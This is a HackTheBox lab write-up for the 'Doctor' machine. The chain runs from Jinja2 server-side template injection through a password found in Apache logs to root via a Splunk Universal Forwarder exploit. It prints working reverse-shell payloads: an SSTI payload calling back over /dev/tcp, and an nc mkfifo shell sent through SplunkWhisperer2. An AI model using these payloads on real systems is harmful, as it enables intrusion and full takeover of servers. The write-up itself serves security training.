Doctor - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Doctor is an easy-rated machine featuring a vulnerable messaging application running on a virtual host. The initial foothold is gained through Server-Side Template Injection (SSTI) in the Doctor Secure Messaging System, which uses Jinja2 templating. After obtaining shell access as the web user, membership in the adm group provides access to system logs where a plaintext password is discovered. Lateral movement to the shaun user is achieved using this credential. The final privilege escalation leverages a Splunk Universal Forwarder listening on port 8089 running as root, exploited via the SplunkWhisperer2 tool using password reuse.

TL;DR: Virtual Host Enumeration → SSTI in Jinja2 Template → Log Password Discovery → Splunk Forwarder RCE as Root

Reconnaissance

Port Scanning

# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.209 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan on discovered ports
nmap -p$ports -sC -sV 10.10.10.209

Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian
80/tcp   open  http    Apache httpd 2.4.41
8089/tcp open  ssl/http Splunk httpd (Splunk Universal Forwarder)

Service Enumeration

Port 80 (Apache): The main webpage presents a medically-themed site with a reference to doctors.htb in the HTML. This virtual host requires addition to the system’s hosts file for access.

Port 8089 (Splunk): A Splunk Universal Forwarder management service is running. This service listens by default on port 8089 and processes remote commands without validating the source is a legitimate Splunk Enterprise server.

Port 22 (SSH): Standard OpenSSH service, likely useful for lateral movement once credentials are obtained.

Vulnerability Assessment

1. Virtual Host Misconfiguration: The doctors.htb host is not immediately accessible, requiring manual hosts file modification—a common enumeration step.

2. Server-Side Template Injection (SSTI): The Doctor Messaging System’s message title field fails to sanitize user input before passing it to the Jinja2 template engine.

3. Log File Exposure: The web user’s membership in the adm group provides read access to /var/log files, where sensitive information (plaintext passwords) may be exposed.

4. Splunk Universal Forwarder Insecurity: The UF service does not validate incoming connections and accepts unauthenticated commands, but in this case accepts valid user credentials for RCE.

Initial Foothold

Exploitation Path

Step 1: Virtual Host Discovery and Access

Add the discovered virtual host to your /etc/hosts file:

sudo nano /etc/hosts
# Add the line:
# 10.10.10.209 doctors.htb

Navigate to http://doctors.htb to access the Doctor Secure Messaging System login page.

Step 2: Account Registration

Register a new account with test credentials:

• Username: test
• Password: test

This allows access to the messaging application’s core functionality, including the ability to create posts.

Step 3: SSTI Vulnerability Discovery

After logging in, view the page source to discover a commented-out archive feature:

<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

Navigate to http://doctors.htb/archive and view the page source to see posts rendered in XML format within <title> tags.

Step 4: SSTI Payload Testing

Test for SSTI using the Jinja2 payload {{7*7}}:

1. Create a new post with title: {{7*7}}
2. Navigate to /archive and view page source
3. If the output shows <title>49</title>, Jinja2 SSTI is confirmed

Step 5: Template Engine Confirmation

Submit a post with title {{7*'7'}} to confirm the template engine:

• Output 7777777 indicates Jinja2 (string repetition behavior)
• Output 49 would indicate Twig (mathematical operation)

Step 6: Reverse Shell Exploitation

Craft and execute a Jinja2 reverse shell payload. First, start a listener:

nc -lvp 1234

Create a new post with the following title (modify IP and port as needed):

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.2/1234 0>&1'").read()}}{%endif%}{%endfor%}

Navigate to /archive to trigger the payload execution. A reverse shell is received as the web user.

Privilege Escalation

Lateral Movement: Web to Shaun

Step 1: Upgrade Shell and Enumerate Users

Upgrade to a full PTY shell for better functionality:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Read the passwd file to identify system users:

cat /etc/passwd

Key users identified: shaun and splunk

Step 2: Leverage adm Group Membership

Check group membership of the current user:

groups
# Output shows membership in 'adm' group

The adm group provides read access to system logs in /var/log. Search for plaintext passwords:

grep -R -i 'password' /var/log/

Step 3: Password Discovery

The Apache access log reveals a notable entry:

/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST
/reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

The password Guitar123 appears to have been accidentally entered into the reset password form.

Step 4: Lateral Movement to Shaun

Attempt to switch users with the discovered password:

su shaun
# Password: Guitar123

Retrieve the user flag:

cat /home/shaun/user.txt

Privilege Escalation: Shaun to Root via Splunk

Step 1: Identify Splunk Vulnerability

Verify that Splunk is running as root:

ps aux | grep splunk
# Confirm root execution

The Splunk Universal Forwarder on port 8089 is vulnerable to remote command execution through the management API.

Step 2: Clone Exploit Repository

Obtain the SplunkWhisperer2 exploit tool:

git clone https://github.com/cnotin/SplunkWhisperer2
cd SplunkWhisperer2/PySplunkWhispherer2/

Step 3: Test Exploit with Discovered Credentials

Attempt exploitation using the shaun account credentials (password reuse is common):

python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.2 \
  --username shaun --password Guitar123 --payload id

Successful execution confirms the vulnerability and valid credentials.

Step 4: Reverse Shell Execution

Start a netcat listener on your attack machine:

nc -lvp 4444

Execute the reverse shell payload:

python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --username shaun \
  --password Guitar123 --lhost 10.10.14.2 \
  --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f'

A shell is received as the root user. Retrieve the root flag:

cat /root/root.txt

Attack Chain Summary

Virtual Host Enumeration (doctors.htb)
            ↓
Account Registration on Messaging System
            ↓
SSTI Discovery in Archive Feature
            ↓
Jinja2 Template Engine Identification
            ↓
Reverse Shell via Template Injection
            ↓
Shell as 'web' User
            ↓
Log File Enumeration (adm group)
            ↓
Password Discovery in Apache Logs
            ↓
Lateral Movement to 'shaun' User
            ↓
Splunk Universal Forwarder Exploitation
            ↓
Remote Code Execution as root

Tools Used

Key Learnings

Techniques Practiced

• Virtual host enumeration through HTML source code analysis
• Server-Side Template Injection (SSTI) vulnerability identification and exploitation
• Jinja2 template engine payload crafting for remote code execution
• Systematic log file analysis for credential discovery
• Password reuse exploitation for lateral movement
• Splunk Universal Forwarder security weaknesses and exploitation via unauthenticated API access
• Group membership enumeration and permission abuse (adm group)

Lessons Learned

1. Virtual hosts matter: Always check HTML comments and source code for clues about additional hosts or features—they may be under development and exposed.

2. Input sanitization is critical: Even small user-input fields like message titles must be sanitized before template rendering to prevent SSTI attacks.

3. Logs contain secrets: System and application logs frequently contain plaintext passwords due to user error (entering passwords in username fields, debugging output, etc.). Always search /var/log when possible.

4. Password reuse is ubiquitous: Once you obtain one valid credential, attempt it across all discovered services and user accounts—it frequently succeeds in real-world scenarios.

5. Service defaults are dangerous: The Splunk Universal Forwarder’s default behavior of accepting remote commands without validating the server’s authenticity is a significant risk. Default or weak credentials on such services lead directly to privilege escalation.

6. Group membership grants access: Membership in administrative or monitoring groups (like adm) often provides unintended access to sensitive system information. Always check groups and id output.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>